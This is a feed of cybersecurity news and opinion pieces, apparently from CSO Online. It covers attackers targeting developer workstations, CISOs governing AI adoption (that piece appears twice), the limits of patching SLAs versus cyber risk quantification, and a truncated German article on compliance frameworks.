data, including bash history, SSH credentials, database passwords, and cPanel aliases, which may not be flagged by standard data-loss prevention or egress monitoring tools. For internet-facing management systems, patching timelines can no longer be measured in days. Security teams need to move within hours, Varkey said. View the full article

I spent the first week of April reading three separate threat intelligence reports that, on the surface, had nothing in common. One covered a North Korean campaign that had published over 1,700 malicious packages across five open-source ecosystems. Another detailed a malware operation using a Zig-compiled binary to silently infect every IDE on a developer’s machine. The third walked through a cascading supply chain compromise that turned a trusted vulnerability scanner into a credential-harvesting weapon. Three different threat actor sets. Three different technical approaches. One shared conclusion: developer workstations are now the highest-value initial access target in enterprise environments. This is not a supply chain security story, at least not in the way most security leaders think about supply chain risk. This is a story about why attackers have independently arrived at the same strategic calculation and what that convergence should tell us about where our defensive investments are misallocated. The pattern hiding in plain sight The Contagious Interview campaign, attributed to North Korean threat actors, crossed a scale threshold in early April when Socket researchers reported that the operation had spread to npm, PyPI, Go Modules, crates.io and Packagist simultaneously. The packages impersonate legitimate developer tooling. Once installed, they function as malware loaders that steal browser data, cryptocurrency wallet credentials and password manager contents. The operation has been running since January 2025, but the expansion to five ecosystems in parallel signals a factory-model approach to developer targeting. Separately, the GlassWorm campaign evolved from malicious IDE extensions into something more ambitious. Aikido Security researchers discovered a fake WakaTime extension on OpenVSX that bundled a Zig-compiled native binary alongside its JavaScript code. The binary does not operate within the extension sandbox. It runs with full operating system access, scans the machine for every compatible IDE and silently installs a second-stage dropper across all of them. The malware avoids execution on Russian systems and uses Solana blockchain infrastructure for command and control. This is not a smash-and-grab credential theft. It is persistent, cross-platform and designed to survive the removal of any single extension. Then there is TeamPCP, which executed a cascading compromise that started with Aqua Security’s Trivy vulnerability scanner in mid-March and chained through Checkmarx KICS, LiteLLM and the Telnyx Python SDK. Each compromise provided the credentials needed to reach the next target. The malware ran inside build pipelines and developer machines, stealing cloud tokens, CI/CD secrets and service account credentials. One security tool compromise became the launchpad for four more. These three campaigns share no infrastructure, no malware families and no apparent coordination. That is precisely why their convergence matters. When unrelated threat actors independently arrive at the same targeting strategy, they are responding to the same structural incentive. In this case, the incentive is straightforward: developer machines are where the keys live. The economics that drive the convergence A typical developer workstation holds SSH keys, cloud provider credentials, container registry tokens, Git authentication tokens and CI/CD pipeline secrets. Many developers have administrative access to internal package registries and deployment infrastructure. Their machines often sit outside the hardened perimeter that security teams build around production systems. From an attacker’s perspective, compromising a single developer is equivalent to a supply chain attack without the complexity of compromising an upstream package registry. You do not need to poison a package that thousands of organizations use. You just need one developer who has push access to a production deployment pipeline. The access-to-effort ratio is simply better than attacking production infrastructure directly. Production systems have monitoring, network segmentation and incident response playbooks built around them. Developer workstations, by contrast, are often trusted implicitly because the people who use them are trusted implicitly. Google’s Cloud Threat Horizons report for the first half of 2026 documented exactly this pattern: threat actors used a trojanized application to gain a foothold on a developer workstation, then leveraged authenticated sessions and available credentials to pivot into cloud resources. Within 72 hours, they had moved from a developer’s local environment to full cloud administration access by abusing OpenID Connect trust between a CI/CD provider and the cloud platform. The Security Boulevard analysis of the March 2026 attack wave framed this dynamic as a “Developer Credential Economy,” arguing that these campaigns should not be viewed as isolated incidents but as evidence of a black market for highly privileged developer credentials. That framing is useful because it explains why we are seeing simultaneous but independent campaigns targeting the same environment. The market price for developer access has risen because the downstream value of that access has risen. What this should change for security leaders Most organizations treat developer environment security as an extension of endpoint protection. Developers get the same EDR agent, the same patch management and the same access controls as every other employee. Some organizations go further and enforce code signing or require multi-factor authentication for package registry access. But few treat the developer workstation as a distinct attack surface that requires its own security architecture. The convergence of these three campaigns suggests that distinction is overdue. Developer machines are not just endpoints. They are credential stores, pipeline controllers and trust anchors for the entire software delivery chain. Protecting them requires controls that traditional endpoint security was never designed to provide. That starts with visibility, which remains the most fundamental gap. Most security operations centers have limited insight into what happens inside IDE extension ecosystems, package manager installations or CI/CD pipeline executions. The GlassWorm campaign exploited OpenVSX, a registry that many security teams do not even monitor. TeamPCP compromised GitHub Actions workflows that run with elevated permissions but often escape the scrutiny applied to production deployments. If your security team cannot tell you which IDE extensions are installed across your developer fleet, you have a blind spot that three different threat actor groups are now actively exploiting. It extends to architectural decisions about how developer environments are provisioned and isolated. Ephemeral development environments, hardware-bound credentials, restricted network access from build systems and mandatory code review for CI/CD pipeline changes are not new ideas. But they remain uncommon in practice because most organizations have not yet accepted that developer environments require the same defensive investment as production infrastructure. The most uncomfortable implication is organizational. Developer environment security does not fit neatly into existing security team structures. It sits at the intersection of application security, endpoint security, identity management and supply chain risk. In most organizations, no single team owns that intersection. Application security teams focus on code vulnerabilities. Endpoint teams focus on malware detection. Identity teams focus on access governance. Nobody is watching the IDE extension that just installed a Zig binary with full operating system access. The campaigns of March and April 2026 are exploiting that gap. Three unrelated threat actors looked at the modern enterprise and independently concluded that the developer workstation offers the best return on investment for initial access. That is not a coincidence. It is a price signal, and the price is set by the gap between the value of developer credentials and the maturity of the controls protecting them. The question for security leaders is whether they will close that gap before the next wave of campaigns arrives to exploit it. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Serving in the military requires a precise, tactical mindset, and that’s exactly what Barry Hensley espoused during his 24 years in the US Army, where he rose to the rank of colonel. The military “is where you earn your stripes, showing your soldiers your willingness to jump into a foxhole and pick up a weapon,” says Hensley, CSO of Brown & Brown, an independent insurance brokerage firm. As a security leader in an industry that is constantly evolving, Hensley has leaned on that in-the-trenches approach as a key part of his leadership ethos, even as the CSO role has grown increasingly strategic. “A security leader needs to be close enough to the tactical fight to effectively guide the organization’s strategic direction, align with business goals, manage risk and investments, and influence culture,” he explains. Business units need to have confidence in a security leader’s level of expertise in a specific security domain so the leader can properly represent the risks and investments required. “Rolling your sleeves up in the middle of a security event is never a bad thing,” Hensley adds. “It shows your willingness to lead from the front and/or support in the most stressful situations.” And increasingly stressful those situations have become, as the spotlight on CISOs has never shone more brightly. Now alongside increasing responsibilities that include data protection and privacy, third-party and supply chain risk, and regulatory compliance and reporting, CISOs must confront the rise of AI — both in the hands of bad actors and throughout the enterprise. And as the CISO role evolves and grows, many are rising to embrace the opportunity. According to Foundry’s latest Security Priorities Survey, 95% of top security leaders regularly engage with the board of directors multiple times a month, up from 85% in 2023. This is helping advance cybersecurity initiatives. The CISO’s elevated prominence is also leading to new reporting structures, the survey found, with 31% of respondents reporting that the top security leader reports directly into the board of directors. Only one in five respondents said their security chief reports into the corporate CIO, “another sign that cybersecurity commands its own infrastructure and leadership outside of IT.” CSO spoke with Hensley and other 2026 CSO Hall of Fame inductees, about how they are governing as AI initiatives become firmly rooted in the enterprise. Implementing an AI security framework AI is a core component of Brown & Brown’s security strategy: enhancing SOC operations, streamlining vulnerability management, determining the risks/rewards of third- and fourth-party partnerships, and boosting security application development, Hensley says. “For 2026, publishing an AI security framework is our top priority to enable the business to move fast — safely,” he says. His staff is partnering with the firm’s AI engineering and enablement teams to perform AI risk assessments and ensure that AI is fit for purpose and used responsibly through the company’s AI Governance Working Group. “AI is top of mind for our leaders and a prominent topic with the board of directors, serving as a key consideration and differentiator for our business,” Hensley says. Companies need governance frameworks that require security reviews before any AI capability is deployed, agrees Shaun Khalfan, senior vice president and CISO of PayPal. This ensures use cases are evaluated against security requirements, data sensitivity, operational risk, and business impact. “This is why I am a strategic business advisor for major AI business decisions at PayPal,” says Khalfan, whose team is applying advanced risk detection technology and oversight, including machine learning models running in real-time that evaluate over a billion transactions per month. The work includes maintaining tight risk and business alignment, incorporating new products into existing compliance and risk frameworks, and adapting them to the unique characteristics of each product, he says. Move fast, keep risk at bay Like Hensley, Jeff Trudeau, CSO of Chime, says the role is fundamentally shifting from a control function to a strategic partner in how the business adopts AI responsibly. At Chime, that means being embedded early in how AI is built and deployed, not reviewing it after the fact, Trudeau says. “We’re focused on three areas: securing AI systems themselves, governing how AI is used across the company, and helping leadership make clear risk/reward decisions as we scale,” he says. Noting that AI increases both speed and surface area, Trudeau says his role is to ensure the firm can move fast without introducing unacceptable risk. “That requires tighter integration with engineering, product, and data teams, as well as more direct engagement with executive leadership and the board on how AI changes our risk posture.” Khalfan also characterizes himself as a strategic CISO with a strong operational and engineering foundation. He strongly believes that a well-defined security strategy aligned to business goals is essential for the success of any cybersecurity organization. “Security cannot operate as a separate function; it must be embedded in how the business grows, innovates, and continues to earn trust,” he says, adding that “strategy without execution is just theory. We operate in a threat landscape that changes daily, and there are moments when tactical action is critical to managing immediate risk.” Rapid AI adoption is a perfect example, he says. Echoing Trudeau, Khalfan believes the CISO must help the organization move fast while still protecting customers, data, infrastructure, and reputation. “The best CISOs know how to balance both, thinking long-term while acting decisively in the short term,” he says. All roads lead back to trust and strong governance, he notes. “Trust is the foundation of both technology and business. You must build trust in the system across customers, merchants, partners, and infrastructure to ensure AI and agent-driven transactions are reliable, secure, and verifiable.” AI is creating the greatest security challenges For Trudeau, the biggest challenge of the burgeoning AI era is the pace of change. AI is accelerating how software is built, how attacks are executed, and how quickly systems evolve. Traditional security models, periodic reviews, and static controls don’t keep up, he says. “We’re addressing that by shifting to more continuous, embedded security practices. That includes integrating security into development workflows, investing in detection and response capabilities that adapt in real-time, and building stronger data governance around how sensitive information is accessed and used by AI systems,” Trudeau says. At the same time, the focus is on maintaining trust at scale. “As we introduce more AI-driven experiences, we have to be clear about how systems behave, how decisions are made, and where human oversight remains,” Trudeau says. “That’s as much a product and trust challenge as it is a technical one.” AI is also impacting what Brown & Brown is seeing with phishing campaigns, notes Hensley. “AI is maturing in its ability to impersonate individuals, both voice and video, while quickly generating supporting documents to further convince teammates that a fraudulent request is genuine.” A preview of Anthropic’s Mythos release shows that AI can now rapidly discover previously unknown vulnerabilities and automate their exploitation, Hensley says. “This changes the paradigm. Vulnerability management will likely become a higher priority for organizations as they cannot wait weeks to patch hosts based on a perceived risk tolerance of mitigating controls.” Most organizations will have to empower their IT platform providers to deploy automation for near-real-time patching — while holding them accountable for the contracted service-level availability, he says. Managing identity, data, and humans AI is not the only challenge CISOs have to contend with. Khalfan says that identity, data security, and context are his most important challenges to solve for. “Identity is becoming more complex, as humans, machines, APIs, and autonomous agents all interact with critical systems,” he says. “Knowing who — or what — is requesting access and ensuring the right level of trust and least privilege is fundamental.” Context is the multiplier, Khalfan adds. “Security decisions without business context create unnecessary friction, and business decisions without security context create unnecessary risk. Security leaders must create systems that make both visible in real-time.” To execute, his team focuses heavily on getting the fundamentals right: strong data governance, dynamic policy tuning, continuous validation of the control environment, frequent deployment of security improvements, and designing controls that are embedded into workflows rather than added afterward, Khalfan says. “Security at scale is less about isolated controls and more about building resilient systems that continuously adapt,” he says. As much as AI has added new trials, Hensley finds that the human element, along with the expanding attack surface, remain the greatest security challenges. This includes the arms race between attackers and defenders. “Sophisticated social engineering is at an all-time high, challenging our teammates to be not only vigilant but also often the first line of defense,” he says. To stay ahead, “we are tackling from all angles, including security awareness training, enabling new advanced AI features in our security tools, and taking more proactive actions on behalf of our teammates based on risk/reward evaluations,” Hensley says. Hall of Fame advice on meeting the current CISO moment Meeting today’s cyber leadership challenges requires CISOs to lead from the front — something both Hensley and Khalfan practice. That means only adopting AI that is secure and trusted. “Security should not be the department of ‘no’; it should help business partners move faster with confidence, Khalfan says. Leading from the front also means challenging the status quo, and viewing yourself as a business partner/risk advisor, Hensley says. For Trudeau, it’s about being able to translate risk into business terms. Stay close to the business. “If you do not understand how your company creates value, you cannot effectively protect it,” Khalfan says. “Security leaders need to speak the language of growth, customer trust, and operational resilience, not just technical risk.” Trudeau agrees, saying that security leaders must align their work directly to business outcomes. “If security is seen as separate from growth, you’ll always be reacting instead of shaping decisions.” Be the enabler. “The best CISOs help the business move faster and safer, not slower,” Khalfan says. “Your job is not to create friction everywhere; it is to create friction where the risk is highest and remove it where trust can be increased through better design.” Engage early. “The earlier security is involved in product and AI development, the more leverage you have to influence outcomes without slowing teams down,” Trudeau notes. Khalfan echoes that, saying that data security, identity, and observability are the foundations on which trusted AI systems are built. Business and cyber teams must work hand in hand to ensure those outcomes are achieved, he says. “Whether it is defending against AI-enabled threats, protecting AI infrastructure, or evaluating the risk and reward of AI innovation, security must be involved early, not after deployment,” he adds. Stay proactively compliant. Khalfan says that PayPal’s security organization continually monitors and updates its governance and requirements based on the evolving regulatory frameworks. Solve business problems. This is a sure-fire way to meet the today’s cyber challenges and raise your profile as CISO. “When security becomes a driver of trust, speed, and competitive advantage, your seat at the table becomes permanent,” Khalfan says. For example, Khalfan drove company-wide bot protection initiatives, a collaborative, multi-team effort that enhanced fraud prevention. It greatly reduced fraudulent traffic at the top of the process, resulting in higher quality customer engagement, he says. Talk the talk. If you want to understand how to secure AI, you need to actively use AI, Khalfan stresses. “Security leaders cannot govern what they do not understand. Hands-on experience creates credibility and better decision-making,” he says. This often requires investing in fluency beyond security to understand how AI systems work, how your company builds products, and what leadership cares about, Trudeau says. Build credibility through consistency. “As the scope of the role expands, especially with AI, leaders are looking for clear, pragmatic guidance, not theoretical risk models,” Trudeau says. There’s no ‘I’ in team A core part of rising to today’s challenges and elevating your CISO role requires security leaders to bring your teammates along. They will always be your greatest resource, Hensley says. “My military experience is part of my DNA and has shaped every part of my life, especially how I think of teammate development, building highly cohesive functioning teams, and prioritizing what is most important,” he says. So many things in life will come and go, but your impact on others will impact generations, Hensley adds. They carry your values forward from culture, ethics, and standards. “My legacy will be the teammates that I have served alongside through my career,” he says. “I encourage security leaders to focus on the impact you can make on your team every day — it will ultimately serve to elevate your profile and leave a lasting mark.” View the full article

Serving in the military requires a precise, tactical mindset, and that’s exactly what Barry Hensley espoused during his 24 years in the US Army, where he rose to the rank of colonel. The military “is where you earn your stripes, showing your soldiers your willingness to jump into a foxhole and pick up a weapon,” says Hensley, CSO of Brown & Brown, an independent insurance brokerage firm. As a security leader in an industry that is constantly evolving, Hensley has leaned on that in-the-trenches approach as a key part of his leadership ethos, even as the CSO role has grown increasingly strategic. “A security leader needs to be close enough to the tactical fight to effectively guide the organization’s strategic direction, align with business goals, manage risk and investments, and influence culture,” he explains. Business units need to have confidence in a security leader’s level of expertise in a specific security domain so the leader can properly represent the risks and investments required. “Rolling your sleeves up in the middle of a security event is never a bad thing,” Hensley adds. “It shows your willingness to lead from the front and/or support in the most stressful situations.” And increasingly stressful those situations have become, as the spotlight on CISOs has never shone more brightly. Now alongside increasing responsibilities that include data protection and privacy, third-party and supply chain risk, and regulatory compliance and reporting, CISOs must confront the rise of AI — both in the hands of bad actors and throughout the enterprise. And as the CISO role evolves and grows, many are rising to embrace the opportunity. According to Foundry’s latest Security Priorities Survey, 95% of top security leaders regularly engage with the board of directors multiple times a month, up from 85% in 2023. This is helping advance cybersecurity initiatives. The CISO’s elevated prominence is also leading to new reporting structures, the survey found, with 31% of respondents reporting that the top security leader reports directly into the board of directors. Only one in five respondents said their security chief reports into the corporate CIO, “another sign that cybersecurity commands its own infrastructure and leadership outside of IT.” CSO spoke with Hensley and other 2026 CSO Hall of Fame inductees, about how they are governing as AI initiatives become firmly rooted in the enterprise. Implementing an AI security framework AI is a core component of Brown & Brown’s security strategy: enhancing SOC operations, streamlining vulnerability management, determining the risks/rewards of third- and fourth-party partnerships, and boosting security application development, Hensley says. “For 2026, publishing an AI security framework is our top priority to enable the business to move fast — safely,” he says. His staff is partnering with the firm’s AI engineering and enablement teams to perform AI risk assessments and ensure that AI is fit for purpose and used responsibly through the company’s AI Governance Working Group. “AI is top of mind for our leaders and a prominent topic with the board of directors, serving as a key consideration and differentiator for our business,” Hensley says. Companies need governance frameworks that require security reviews before any AI capability is deployed, agrees Shaun Khalfan, senior vice president and CISO of PayPal. This ensures use cases are evaluated against security requirements, data sensitivity, operational risk, and business impact. “This is why I am a strategic business advisor for major AI business decisions at PayPal,” says Khalfan, whose team is applying advanced risk detection technology and oversight, including machine learning models running in real-time that evaluate over a billion transactions per month. The work includes maintaining tight risk and business alignment, incorporating new products into existing compliance and risk frameworks, and adapting them to the unique characteristics of each product, he says. Move fast, keep risk at bay Like Hensley, Jeff Trudeau, CSO of Chime, says the role is fundamentally shifting from a control function to a strategic partner in how the business adopts AI responsibly. At Chime, that means being embedded early in how AI is built and deployed, not reviewing it after the fact, Trudeau says. “We’re focused on three areas: securing AI systems themselves, governing how AI is used across the company, and helping leadership make clear risk/reward decisions as we scale,” he says. Noting that AI increases both speed and surface area, Trudeau says his role is to ensure the firm can move fast without introducing unacceptable risk. “That requires tighter integration with engineering, product, and data teams, as well as more direct engagement with executive leadership and the board on how AI changes our risk posture.” Khalfan also characterizes himself as a strategic CISO with a strong operational and engineering foundation. He strongly believes that a well-defined security strategy aligned to business goals is essential for the success of any cybersecurity organization. “Security cannot operate as a separate function; it must be embedded in how the business grows, innovates, and continues to earn trust,” he says, adding that “strategy without execution is just theory. We operate in a threat landscape that changes daily, and there are moments when tactical action is critical to managing immediate risk.” Rapid AI adoption is a perfect example, he says. Echoing Trudeau, Khalfan believes the CISO must help the organization move fast while still protecting customers, data, infrastructure, and reputation. “The best CISOs know how to balance both, thinking long-term while acting decisively in the short term,” he says. All roads lead back to trust and strong governance, he notes. “Trust is the foundation of both technology and business. You must build trust in the system across customers, merchants, partners, and infrastructure to ensure AI and agent-driven transactions are reliable, secure, and verifiable.” AI is creating the greatest security challenges For Trudeau, the biggest challenge of the burgeoning AI era is the pace of change. AI is accelerating how software is built, how attacks are executed, and how quickly systems evolve. Traditional security models, periodic reviews, and static controls don’t keep up, he says. “We’re addressing that by shifting to more continuous, embedded security practices. That includes integrating security into development workflows, investing in detection and response capabilities that adapt in real-time, and building stronger data governance around how sensitive information is accessed and used by AI systems,” Trudeau says. At the same time, the focus is on maintaining trust at scale. “As we introduce more AI-driven experiences, we have to be clear about how systems behave, how decisions are made, and where human oversight remains,” Trudeau says. “That’s as much a product and trust challenge as it is a technical one.” AI is also impacting what Brown & Brown is seeing with phishing campaigns, notes Hensley. “AI is maturing in its ability to impersonate individuals, both voice and video, while quickly generating supporting documents to further convince teammates that a fraudulent request is genuine.” A preview of Anthropic’s Mythos release shows that AI can now rapidly discover previously unknown vulnerabilities and automate their exploitation, Hensley says. “This changes the paradigm. Vulnerability management will likely become a higher priority for organizations as they cannot wait weeks to patch hosts based on a perceived risk tolerance of mitigating controls.” Most organizations will have to empower their IT platform providers to deploy automation for near-real-time patching — while holding them accountable for the contracted service-level availability, he says. Managing identity, data, and humans AI is not the only challenge CISOs have to contend with. Khalfan says that identity, data security, and context are his most important challenges to solve for. “Identity is becoming more complex, as humans, machines, APIs, and autonomous agents all interact with critical systems,” he says. “Knowing who — or what — is requesting access and ensuring the right level of trust and least privilege is fundamental.” Context is the multiplier, Khalfan adds. “Security decisions without business context create unnecessary friction, and business decisions without security context create unnecessary risk. Security leaders must create systems that make both visible in real-time.” To execute, his team focuses heavily on getting the fundamentals right: strong data governance, dynamic policy tuning, continuous validation of the control environment, frequent deployment of security improvements, and designing controls that are embedded into workflows rather than added afterward, Khalfan says. “Security at scale is less about isolated controls and more about building resilient systems that continuously adapt,” he says. As much as AI has added new trials, Hensley finds that the human element, along with the expanding attack surface, remain the greatest security challenges. This includes the arms race between attackers and defenders. “Sophisticated social engineering is at an all-time high, challenging our teammates to be not only vigilant but also often the first line of defense,” he says. To stay ahead, “we are tackling from all angles, including security awareness training, enabling new advanced AI features in our security tools, and taking more proactive actions on behalf of our teammates based on risk/reward evaluations,” Hensley says. Hall of Fame advice on meeting the current CISO moment Meeting today’s cyber leadership challenges requires CISOs to lead from the front — something both Hensley and Khalfan practice. That means only adopting AI that is secure and trusted. “Security should not be the department of ‘no’; it should help business partners move faster with confidence, Khalfan says. Leading from the front also means challenging the status quo, and viewing yourself as a business partner/risk advisor, Hensley says. For Trudeau, it’s about being able to translate risk into business terms. Stay close to the business. “If you do not understand how your company creates value, you cannot effectively protect it,” Khalfan says. “Security leaders need to speak the language of growth, customer trust, and operational resilience, not just technical risk.” Trudeau agrees, saying that security leaders must align their work directly to business outcomes. “If security is seen as separate from growth, you’ll always be reacting instead of shaping decisions.” Be the enabler. “The best CISOs help the business move faster and safer, not slower,” Khalfan says. “Your job is not to create friction everywhere; it is to create friction where the risk is highest and remove it where trust can be increased through better design.” Engage early. “The earlier security is involved in product and AI development, the more leverage you have to influence outcomes without slowing teams down,” Trudeau notes. Khalfan echoes that, saying that data security, identity, and observability are the foundations on which trusted AI systems are built. Business and cyber teams must work hand in hand to ensure those outcomes are achieved, he says. “Whether it is defending against AI-enabled threats, protecting AI infrastructure, or evaluating the risk and reward of AI innovation, security must be involved early, not after deployment,” he adds. Stay proactively compliant. Khalfan says that PayPal’s security organization continually monitors and updates its governance and requirements based on the evolving regulatory frameworks. Solve business problems. This is a sure-fire way to meet the today’s cyber challenges and raise your profile as CISO. “When security becomes a driver of trust, speed, and competitive advantage, your seat at the table becomes permanent,” Khalfan says. For example, Khalfan drove company-wide bot protection initiatives, a collaborative, multi-team effort that enhanced fraud prevention. It greatly reduced fraudulent traffic at the top of the process, resulting in higher quality customer engagement, he says. Talk the talk. If you want to understand how to secure AI, you need to actively use AI, Khalfan stresses. “Security leaders cannot govern what they do not understand. Hands-on experience creates credibility and better decision-making,” he says. This often requires investing in fluency beyond security to understand how AI systems work, how your company builds products, and what leadership cares about, Trudeau says. Build credibility through consistency. “As the scope of the role expands, especially with AI, leaders are looking for clear, pragmatic guidance, not theoretical risk models,” Trudeau says. There’s no ‘I’ in team A core part of raising to today’s challenges and elevating your CISO role requires security leaders to bring your teammates along. They will always be your greatest resource, Hensley says. “My military experience is part of my DNA and has shaped every part of my life, especially how I think of teammate development, building highly cohesive functioning teams, and prioritizing what is most important,” he says. So many things in life will come and go, but your impact on others will impact generations, Hensley adds. They carry your values forward from culture, ethics, and standards. “My legacy will be the teammates that I have served alongside through my career,” he says. “I encourage security leaders to focus on the impact you can make on your team every day — it will ultimately serve to elevate your profile and leave a lasting mark.” View the full article

I’ve been a CISO for two separate companies, know several CISOs personally, and interact with many others through various cybersecurity forums. We all have one thing in common. We can tell you our patching SLA numbers off the top of our heads. Ninety-five percent of criticals closed in 14 days. Eighty-something on highs. The board slide is green. The auditors are satisfied. The client questionnaires come back clean. Then I ask a different question: what still needs to be done? And the tone shifts from the confident “We’ve got it all covered” to “Wellll… we’ve got some legacy tech debt holding us back.” What they’re really saying, when someone’s been in the role long enough to stop performing, is usually some version of this: the stuff we closed fast was the stuff that was cheap to close. The stuff that’s still open is the stuff that would require us to re-architect a service, take a critical system offline or fight with a business owner who doesn’t want to hear it. So, we keep closing easy criticals to keep the dashboard green, and the hard problems age quietly in the backlog where no one looks. This is the part of vulnerability management nobody wants to say out loud: we have built an entire governance industry around measuring the wrong thing. SLAs tell you how disciplined your ticketing process is. They tell you almost nothing about your actual risk. The compliance trap I’ve watched this pattern play out across enough programs to be confident it’s not an outlier. An organization commits to a thirty-day SLA for critical vulnerabilities. The vulnerability management team gets measured on that SLA. So, they get very, very good at hitting it — for the vulnerabilities that are easy to hit it on. What gets closed fast: anything an agent can patch remotely. Anything in a containerized workload that rebuilds nightly. Anything where the vendor has already shipped a clean update and the change advisory board will approve it without debate. What doesn’t get closed: the legacy ERP module that can’t be patched without breaking three downstream integrations. The embedded system in the warehouse that runs an operating system whose vendor went out of business in 2019. The Windows 2000 server under the sysadmin’s desk who’s been at the company since 1995. The misconfiguration in the core identity provider that, if changed, would lock out a business unit for a day while someone rebuilds their SSO flow. The architectural flaw in the authentication layer that’s technically a CVSS 7 but practically an existential exposure because it sits in front of the crown jewels. Those don’t move. They get relegated to the Island of Misfit Risks — exception queues, risk-accepted trackers, or the backlog of whatever team has owned the system or function since 2017. And the SLA report stays green because the denominator is dominated by the easy stuff, and the business has “accepted the risk.” I’ve been the person who had to explain to a board that our SLA compliance was ninety-four percent and our biggest single point of failure was in the six percent. It is not a fun conversation. It is, however, the correct one. And the reason it almost never happens is because the entire reporting apparatus is structured to make it invisible. SLAs measure discipline, not risk Here’s the mental model I’ve been pushing with my peers. Think of patching SLAs the way you think of fire drills. Fire drills are necessary. They prove that, on a predictable cadence, your organization can execute a known procedure. No one in charge of a building full of people would claim that a successful fire drill means the building is safe. They would tell you the building is safe when the sprinklers, the structural design, the exits and the materials all hold up to a scenario you didn’t script. Patching SLAs are fire drills. They prove your program can execute a known procedure on a predictable cadence. They do not tell you whether you’re protected against the scenario you didn’t script — the chained exploit path, the misconfigured trust boundary, the control that looks present in the GRC tool but has been silently failing for eight months, or my favorite, “that control works for everywhere except XYZ business unit.” When I ask a CISO how much cyber risk they have, they struggle to articulate it. They talk about the attack surface, the number of vulnerabilities, an audit score. Rarely do I hear them say something like, “We have $252M in cyber risk.” What if we as CISOs could articulate how much risk we have in terms of dollars and finally be able to build a business case for solving those hard vulnerabilities, misconfigurations and control breakdowns instead of trying to sell fear, uncertainty and doubt? That question has an answer, and it’s one the FAIR Institute has been formalizing for years: cyber risk quantification, or CRQ. I’m not here to evangelize a methodology. There are several — some more defensible than others — and the specific choice matters less than the discipline of forcing vulnerabilities, misconfigurations and control gaps into loss-exposure terms rather than severity labels. When I tell a CFO that an unpatched CVSS 9.8 exists on a server, their eyes glaze over. When I tell them we have an estimated twelve-million-dollar annualized loss exposure concentrated in one unremediated architectural flaw, we have a very different conversation — and, in my experience, a very different remediation budget. Three shifts that actually move the needle If you’re a security leader trying to pull your program out of SLA theater and into something that reflects real risk, here’s what I’ve seen work. Treat the SLA as the floor of what’s required, not the ceiling of what’s reported. Continue to meet your contractual and regulatory SLA commitments — they exist for good reasons and customers ask about them. But stop presenting SLA compliance as the headline metric of your vulnerability management program. It’s a hygiene measure. Put it on a hygiene slide. The headline metric should be the trend of your quantified residual risk; broken out by the business services it threatens. Make your exception process produce better decisions, not just documented ones. In most of the programs I’ve reviewed, the risk acceptance process is a filing exercise with risks living on the register for years. Someone signs a form, the ticket gets closed as “risk accepted,” and the exposure disappears from the SLA report until the exception expires in the GRC tool next year. That’s not risk management. That’s paperwork. A functional exception process requires the business owner to see the quantified loss exposure they’re accepting, agree to revisit it on a defined cadence and — for the biggest exposures — commit to a remediation plan with a funded timeline. Research from Verizon’s 2025 DBIR found that among the edge device vulnerabilities featured in the report, the average time to patch was 209 days while attackers’ median time-to-exploitation was five days — a gap that exists because the fixes live where change is hardest. That same pattern shows up in CISA’s Known Exploited Vulnerabilities catalog, populated largely with CVEs that had patches available long before they were used in the wild. That isn’t a patching problem. That’s an exception-hygiene problem. Fund remediation the way you fund other capital and opex projects. The hard vulnerabilities — the ones that require re-architecting a service, replacing an end-of-life platform or rebuilding an identity flow — aren’t going to get solved out of the quarterly operational budget. They require capital and opex investment, and they compete with every other business investment. Quantified risk is what lets you compete on equal terms. “We need to rebuild the authentication layer because it’s old and unsupported” will lose that fight eight out of 10 times. “We need to rebuild the authentication layer because it represents a $10M cyber risk exposure, and a $1M investment to remediate will reduce our cyber risk by a net of $9M” wins it often enough to matter. One final note, because I get this question every time I talk about CRQ with a skeptical audience. Your loss-exposure estimates are going to be imprecise. The inputs are uncertain, the ranges are wide and any honest quantification exercise produces results that could be picked apart by a determined critic. That’s fine. A CFO or an actuary can argue the number is $8M rather than $10M — still fine. At least you have a number people can anchor to, versus the old patching scorecard that said everything was rainbows and unicorns. A green SLA dashboard tells an executive that their security team is disciplined. A quantified risk picture tells them where their actual exposure is and what it would cost to reduce it. One of those conversations gets the hard stuff fixed. The other one gets it documented and forgotten. SLAs are the floor. If that’s all you’re standing on, you’re closer to the ground than you think. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Mit der Zunahme von Cyberbedrohungen steigt auch die Zahl der Compliance-Rahmenwerke. So können CISOs diese Herausforderung bewältigen. Foto: Dapitart – shutterstock.com Die Anforderungen von Cybersicherheitsvorschriften können je nach Unternehmensgröße, Region, Branche, Datensensibilität und Programmreifegrad sehr unterschiedlich sein. Ein börsennotiertes Unternehmen hat beispielsweise keine andere Wahl, als mehrere Vorschriften einzuhalten sowie Risikobewertungen und Pläne für Abhilfemaßnahmen zu erstellen. Regierungsbehörden oder Unternehmen, die an Regierungsbehörden verkaufen, müssen bestimmte Compliance-Anforderungen des öffentlichen Sektors erfüllen. Banken, Organisationen des Gesundheitswesens, Infrastrukturunternehmen, E-Commerce-Firmen und andere Unternehmen haben jeweils eigene branchenspezifische Compliance-Regeln zu befolgen. Sicherheit ist nicht gleich Compliance Auch für Unternehmen, die nicht in eine dieser Kategorien fallen, kann es Gründe geben, warum sie bewährte Sicherheitspraktiken nachweisen müssen, zum Beispiel, wenn sie eine SOC-Zertifizierung anstreben oder eine Cyberversicherung beantragen. Umfassende Rahmenwerke für die Einhaltung von Cybersicherheitsvorschriften wie NIS-2 und ISO bieten allen Unternehmen Leitlinien, die sie befolgen können, sowie Strukturen für die Kommunikation der Ergebnisse. Aber: Nur, weil man die Vorschriften einhält, heißt das noch lange nicht, dass man auch sicher ist. Erfahrene Sicherheitsexperten betrachten die Einhaltung von Vorschriften als das absolute Minimum und gehen in ihren Empfehlungen weit über die erforderlichen Komponenten zum Schutz ihrer Unternehmen hinaus. Einhaltung der Vorschriften als Voraussetzung für Geschäftstätigkeit Ein Sicherheitsmanager kann zwar Investitionen und Praktiken für die Cybersicherheit empfehlen, um die Compliance-Anforderungen zu erfüllen, aber er ist nicht der letzte Entscheidungsträger. Eine wichtige Aufgabe des CISO besteht daher darin, das Risiko der Nichteinhaltung von Vorschriften zu kommunizieren und gemeinsam mit anderen Unternehmensleitern zu entscheiden, welche Initiativen Vorrang haben sollen. Das Risiko umfasst in diesem Zusammenhang nicht nur das technische, sondern auch das Geschäftsrisiko. Um Reibungsverluste zu vermeiden, ist es daher sinnvoll, den Mitarbeitern auch den geschäftlichen Nutzen einer konformen Cybersicherheit aufzuzeigen. Kosten-Nutzen-Abwägung Die Unternehmensführung muss dabei die Kosten und den Nutzen der Einhaltung von Vorschriften gegen die potenziellen Kosten der 